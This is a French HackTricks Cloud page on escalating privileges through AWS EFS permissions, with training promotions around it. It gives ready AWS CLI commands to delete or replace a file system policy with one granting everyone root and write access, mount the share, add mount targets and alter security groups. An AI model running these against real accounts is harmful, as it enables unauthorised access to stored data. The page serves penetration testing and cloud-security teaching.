AWS - EFS Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
EFS
Plus d'informations sur EFS dans :
N'oubliez pas que, pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (security groups). Si c'est le cas, par défaut, vous pourrez toujours le monter ; cependant, s'il est protégé par des IAM policies, vous devez disposer des permissions supplémentaires mentionnées ici pour y accéder.
elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy
Avec l'une de ces permissions, un attaquant peut modifier la file system policy pour vous donner l'accès à celle-ci, ou simplement la supprimer afin que l'accès par défaut soit accordé.
Pour supprimer la policy:
aws efs delete-file-system-policy \
--file-system-id <value>
Pour le changer :
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Avec cette permission un attaquant pourra monter l'EFS. Si la permission d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que l'accès en lecture.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
Les permissions supplémentaires elasticfilesystem:ClientRootAccess et elasticfilesystem:ClientWrite peuvent être utilisées pour écrire à l'intérieur du système de fichiers après son montage et pour accéder à ce système de fichiers en tant que root.
Impact potentiel : Privesc indirecte en localisant des informations sensibles dans le système de fichiers.
elasticfilesystem:CreateMountTarget
Si un attaquant se trouve à l'intérieur d'un sous-réseau où aucun mount target de l'EFS n'existe, il peut simplement en créer un dans son sous-réseau avec ce privilège :
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.
elasticfilesystem:ModifyMountTargetSecurityGroups
Dans un scénario où un attaquant découvre que l'EFS a un mount target dans son sous-réseau mais aucun security group n'autorise le trafic, il pourrait simplement changer cela en modifiant les security groups sélectionnés :
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Impact potentiel: Privesc indirect en localisant des informations sensibles dans le système de fichiers.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud